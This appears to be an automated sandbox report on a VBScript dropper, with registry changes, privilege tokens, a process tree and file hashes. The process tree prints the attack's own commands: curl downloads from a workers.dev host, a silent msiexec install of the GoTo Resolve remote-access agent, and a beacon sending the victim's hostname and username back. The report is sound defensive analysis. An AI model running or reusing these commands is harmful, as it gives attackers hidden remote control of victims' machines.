Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CTLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	GoToResolveUnattended.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher	GoToResolveProcessChecker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	GoToResolveUnattended.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CRLs	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CTLs	GoToResolveUnattended.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	GoToResolveUnattended.exe

Modifies registry class 24 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\8871D70D11E7F0045A59C535B4C34718	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\8871D70D11E7F0045A59C535B4C34718\07A882B091DDDE943897BBF5EBA1EC9E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07A882B091DDDE943897BBF5EBA1EC9E\ProductFeature	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\ProductName = "LogMeIn Resolve Endpoint"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\ProductIcon = "C:\\Windows\\Installer\\{0B288A70-DD19-49ED-8379-BB5FBE1ACEE9}\\ProductIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\SourceList\PackageName = "LogMeInResolve_Unattended.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\PackageCode = "F0F4F8FEDB037EB45AE101AAA356FEDB"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\Language = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\Version = "19070976"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07A882B091DDDE943897BBF5EBA1EC9E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07A882B091DDDE943897BBF5EBA1EC9E	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2784	msiexec.exe
2784	msiexec.exe
1420	unattended-updater.exe
1420	unattended-updater.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6124	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6124	msiexec.exe
Token: SeSecurityPrivilege	2784	msiexec.exe
Token: SeCreateTokenPrivilege	6124	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	6124	msiexec.exe
Token: SeLockMemoryPrivilege	6124	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6124	msiexec.exe
Token: SeMachineAccountPrivilege	6124	msiexec.exe
Token: SeTcbPrivilege	6124	msiexec.exe
Token: SeSecurityPrivilege	6124	msiexec.exe
Token: SeTakeOwnershipPrivilege	6124	msiexec.exe
Token: SeLoadDriverPrivilege	6124	msiexec.exe
Token: SeSystemProfilePrivilege	6124	msiexec.exe
Token: SeSystemtimePrivilege	6124	msiexec.exe
Token: SeProfSingleProcessPrivilege	6124	msiexec.exe
Token: SeIncBasePriorityPrivilege	6124	msiexec.exe
Token: SeCreatePagefilePrivilege	6124	msiexec.exe
Token: SeCreatePermanentPrivilege	6124	msiexec.exe
Token: SeBackupPrivilege	6124	msiexec.exe
Token: SeRestorePrivilege	6124	msiexec.exe
Token: SeShutdownPrivilege	6124	msiexec.exe
Token: SeDebugPrivilege	6124	msiexec.exe
Token: SeAuditPrivilege	6124	msiexec.exe
Token: SeSystemEnvironmentPrivilege	6124	msiexec.exe
Token: SeChangeNotifyPrivilege	6124	msiexec.exe
Token: SeRemoteShutdownPrivilege	6124	msiexec.exe
Token: SeUndockPrivilege	6124	msiexec.exe
Token: SeSyncAgentPrivilege	6124	msiexec.exe
Token: SeEnableDelegationPrivilege	6124	msiexec.exe
Token: SeManageVolumePrivilege	6124	msiexec.exe
Token: SeImpersonatePrivilege	6124	msiexec.exe
Token: SeCreateGlobalPrivilege	6124	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe
Token: SeRestorePrivilege	2784	msiexec.exe
Token: SeTakeOwnershipPrivilege	2784	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
6124	msiexec.exe
2784	msiexec.exe
4456	MsiExec.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 4160	4816	WScript.exe	89
PID 4160 wrote to memory of 932	4160	cmd.exe	91
PID 932 wrote to memory of 4208	932	net.exe	92
PID 4160 wrote to memory of 3512	4160	cmd.exe	93
PID 4160 wrote to memory of 6124	4160	cmd.exe	94
PID 2784 wrote to memory of 4456	2784	msiexec.exe	96
PID 2784 wrote to memory of 1420	2784	msiexec.exe	97
PID 1420 wrote to memory of 5784	1420	unattended-updater.exe	98
PID 1420 wrote to memory of 5764	1420	unattended-updater.exe	99
PID 1420 wrote to memory of 5988	1420	unattended-updater.exe	100
PID 5764 wrote to memory of 4848	5764	GoToResolveTools64.exe	102
PID 5988 wrote to memory of 1640	5988	cmd.exe	103
PID 4160 wrote to memory of 1248	4160	cmd.exe	104
PID 5988 wrote to memory of 2660	5988	cmd.exe	105
PID 5784 wrote to memory of 752	5784	GoToResolveUnattended.exe	108
PID 3184 wrote to memory of 5496	3184	GoToResolveProcessChecker.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\document.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\~setup.cmd" "
  2⤵
  - Executes a command shell one-liner
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:932
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4208
- - C:\Windows\system32\curl.exe
    curl.exe -s -L -k -o "C:\Users\Admin\AppData\Local\Temp\update_manifest.json" "https://dl-0cfee6.fpireceivable.workers.dev/2aa28d853d1e4b41"
    3⤵
    PID:3512
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\LogMeInResolve_Unattended.msi" /quiet /norestart
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:6124
- - C:\Windows\system32\curl.exe
    curl.exe -s -o nul -k "https://dl-0cfee6.fpireceivable.workers.dev/2aa28d853d1e4b41?e=ic&h=PEXWEVZA&u=Admin"
    3⤵
    PID:1248

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 46C6F68D97234B38B282A03C8C427A39
  2⤵
  - Loads dropped DLL
  - Suspicious use of SetWindowsHookEx
  PID:4456
- C:\Program Files (x86)\GoTo Resolve Unattended\unattended-updater.exe
  "C:\Program Files (x86)\GoTo Resolve Unattended\unattended-updater.exe" -regsvc "-MsiInstallerPath" "C:\Users\Admin\AppData\Local\Temp\LogMeInResolve_Unattended.msi" "-MsiInstanceGuid" "{0B288A70-DD19-49ED-8379-BB5FBE1ACEE9}" "-MsiUiLevel" "2"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveUnattended.exe
    "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveUnattended.exe" -regsvc -regsvc "-MsiInstallerPath" "C:\Users\Admin\AppData\Local\Temp\LogMeInResolve_Unattended.msi" "-MsiInstanceGuid" "{0B288A70-DD19-49ED-8379-BB5FBE1ACEE9}" "-MsiUiLevel" "2" "-installerFileName" "LogMeInResolve_Unattended.msi"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks system information in the registry
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Checks processor information in registry
    - Modifies data under HKEY_USERS
    - Suspicious use of WriteProcessMemory
    PID:5784
  - - C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveProcessChecker.exe
      "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveProcessChecker.exe" -regsvc -expectadmin -starterpid 5784 -InstallationId dGuae9ppn8 -WorkFolder "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959" -ApplicationType 4 -Environment "Production" -ForceInstall 0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks system information in the registry
      Drops file in Program Files directory
      Checks processor information in registry
      Modifies data under HKEY_USERS
      PID:752
- - C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveTools64.exe
    "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveTools64.exe" -InstallVDD
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks system information in the registry
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Checks SCSI registry key(s)
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:5764
  - - C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveCrashHandler.exe
      "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveCrashHandler.exe" "--database=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\CrashReportDB" "--metrics-dir=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\CrashReportDB" --url=https://dumpster.console.gotoresolve.com/api/dump --annotation=component=Unattended --annotation=computerid=1743dba12ef3b1f9059518a61790b322 --annotation=format=minidump --annotation=hostname=Pexwevza --annotation=platform=win --annotation=version=1.35.0.3254 "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\params.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\unattended.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\mandatory.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\pc.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\ui.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\logger.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\leavebehind.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\rc.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\externalmodulehandler.json" --initial-client-data=0x380,0x384,0x388,0x378,0x38c,0x7ff68e9a04a0,0x7ff68e9a04b8,0x7ff68e9a04d0
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      PID:4848
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /S /C ""C:\Program Files (x86)\GoTo Resolve Unattended\unattended-updater.exe.cmd" "C:\Program Files (x86)\GoTo Resolve Unattended\unattended-updater.exe""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5988
  - - C:\Windows\system32\timeout.exe
      timeout /T 3
      4⤵
      Delays execution with timeout.exe
      PID:1640
  - - C:\Windows\system32\timeout.exe
      timeout /T 3
      4⤵
      Delays execution with timeout.exe
      PID:2660

C:\Windows\system32\DrvInst.exe
DrvInst.exe "4" "1" "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\x64\g2rvdd.inf" "9" "4b76d6edb" "000000000000018C" "WinSta0\Default" "0000000000000188" "208" "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\x64"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:6136

C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveProcessChecker.exe
"C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveProcessChecker.exe" -Service -WorkFolder "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959" -ApplicationType "4"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks system information in the registry
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveCrashHandler.exe
  "C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveCrashHandler.exe" "--database=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\ProcessCheckerCrashReportDB" "--metrics-dir=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\ProcessCheckerCrashReportDB" --url=https://dumpster.console.gotoresolve.com/api/dump --annotation=companyid=6120534187096108959 --annotation=component=Unattended --annotation=computerid=1743dba12ef3b1f9059518a61790b322 --annotation=format=minidump --annotation=hostname=Pexwevza --annotation=installationid=dGuae9ppn8 --annotation=platform=win --annotation=version=1.35.0.3254 "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\params.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\unattended.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\mandatory.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\pc.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\ui.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\logger.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\leavebehind.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\rc.json" "--attachment=C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\externalmodulehandler.json" --initial-client-data=0x7e8,0x7ec,0x7f0,0x794,0x7f4,0x7ff90ae8d0a0,0x7ff90ae8d0b8,0x7ff90ae8d0d0
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:5496

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe
1⤵
- Launches sc.exe
PID:5908

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" start GoToResolve_6120534187096108959
1⤵
- Launches sc.exe
PID:4884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58e9e1.rbs

Path C:\Config.Msi\e58e9e1.rbs
Size 7KB
SHA256 eba13c78cdea526b22c7960260eb3ac895da2285381546bc74009004354118f5
MD5 fac118930744220187742b625d3cc197
SHA1 a8a22208fe4748ad269179d8ec4bb2c0fbbfd186
SHA512 77dda972be4233f9203f2112950271437fd9e5888c1a9f7f15fa2236d7f074ebb8750458dda776bd04ec8603cb79589965abde6ac1b0533cceb118bc51220786
SSDEEP 96:Ombi4lA3pDC/SF1WyG/JCOTlqnWyG/JCgjQ8gaBTlqdads5dyEP+qbsIbC+Pnpl7:nbzl0Cew1MG71McBBiqim2pR
TLSH
T10DF11D41B21585F6E99B1B34DA472B953BB3E3CC5308232B0DEE5164AF137C8AE5468E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

g2rvdd.cat

Path C:\PROGRA~2\GOTORE~1\612053~1\x64\g2rvdd.cat
Size 10KB
SHA256 6fe045e8a6ff18e27c6aceeeb7dbea3e5f3f25c3796d42f0d844b1b48f38c0be
MD5 8d2c58325f63af51d37693e7ffbdbc4d
SHA1 ea0507cdf4528faa174eb5883eb20b90363ed512
SHA512 71ee9b93d70ace69344d9aeb582ab8110eeb5364cd0d593ecd95b2d57000114aac18f2496c160d2b761b0117c5e26d261d757b424fa6e57b91b98b75ac72dd62
SSDEEP 192:PKePi2VJCongEw9JPgXkhYCqyWyFOk9qnajSb:QsxuLh3CMhlOb
TLSH
T1492219A2866C4483EA53BC6043E8F9977C3DA7CB681045BA25AFF7691C933C9F30456D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

g2rvdd.dll

Path C:\PROGRA~2\GOTORE~1\612053~1\x64\g2rvdd.dll
